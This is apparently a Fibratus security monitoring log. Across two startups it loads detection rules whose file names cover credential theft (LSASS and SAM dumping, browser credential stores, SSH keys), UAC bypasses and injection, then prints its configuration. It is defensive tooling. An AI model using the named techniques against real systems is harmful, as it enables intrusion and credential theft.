C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:04:12+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, RegOpenKey, RegSetValue, Send, SetFileInformation, SetThreadContext, UnloadImage, UnmapViewFile source=bootstrap/bootstrap.go:152 +time=2025-12-09T18:04:12+01:00 level=info msg=bootstrapping with pid 8028. Version: dev source=bootstrap/bootstrap.go:186 +time=2025-12-09T18:04:12+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ to=>[] enabled=>false content-type=>text/html port=>25 use-template=>true] slack=>[ enabled=>false] eventlog=>[ enabled=>true verbose=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-pe=>false serialize-threads=>false serialize-envs=>true serialize-handles=>false serialize-images=>false] + eventsource .................... [ enable-handle=>false enable-thread=>true enable-fileio=>true max-buffers=>36 enable-registry=>true enable-net=>true min-buffers=>16 flush-interval=>1s enable-vamap=>true buffer-size=>512 enable-audit-api=>true enable-dns=>false enable-mem=>false blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-image=>true stack-enrichment=>true enable-threadpool=>false] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml] from-urls=>[]] match-all=>true] + forward ........................ false + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ level=>info max-backups=>15 formatter=>text max-size=>100 log-stdout=>true max-age=>0] + output ......................... [ amqp=>[ timeout=>5s tls-insecure-skip-verify=>false exchange-type=>topic durable=>false enabled=>false url=>amqp://localhost:5672 passive=>false routing-key=>fibratus delivery-mode=>transient exchange=>fibratus vhost=>/] elasticsearch=>[ timeout=>5s healthcheck-interval=>10s gzip-compression=>false template-name=>fibratus enabled=>false sniff=>false trace-log=>false index-name=>fibratus bulk-workers=>1 healthcheck=>true flush-period=>1s healthcheck-timeout=>5s servers=>[http://127.0.0.1:9200]] http=>[ enabled=>false serializer=>json tls-insecure-skip-verify=>false timeout=>5s method=>POST endpoints=>[] enable-gzip=>false] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} - {{ .Cmd }} + enabled=>true format=>pretty] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-resources=>false enabled=>false read-symbols=>false excluded-images=>[svchost.exe] read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ params=>[] enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false] replace=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ enabled=>false rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] excluded-files=>[] fastscan=>true skip-files=>false skip-registry=>false scan-timeout=>10s skip-mmaps=>false excluded-procs=>[] skip-allocs=>false] source=bootstrap/bootstrap.go:187 +time=2025-12-09T18:04:12+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:270 +time=2025-12-09T18:04:15+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:270 +time=2025-12-09T18:06:31+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-12-09T18:06:31+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:286 +time=2025-12-09T18:06:32+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:286 +time=2025-12-09T18:07:27+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_exploitation_via_common_log_file_system.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_directory_creation.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_fake_system_root_environment_variable_manipulation.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_deadpotato_exploit.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_elevated_ifileoperation_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_assembly_native_image_cache_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_command_handler_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_control_panel_applet_execution_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_diskcleanup_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dotnet_code_profiler_dll_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_elevated_internet_explorer_add-on_installer_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_requesttrace_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_rouge_mmc_snap-in.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-12-09T18:07:27+01:00 level=info msg=rules compile summary: + HasProcEvents: true + HasThreadEvents: true + HasImageEvents: true + HasFileEvents: true + HasRegistryEvents: true + HasNetworkEvents: true + HasHandleEvents: true + HasMemEvents: false + HasVAMapEvents: true + HasAuditAPIEvents: true + HasDNSEvents: false + HasThreadpoolEvents: false + Events: Accept, Connect, CreateFile, CreateHandle, CreateProcess, CreateSymbolicLinkObject, CreateThread, DeleteFile, LoadImage, MapViewFile, OpenProcess, OpenThread, Recv, RegCreateKey, 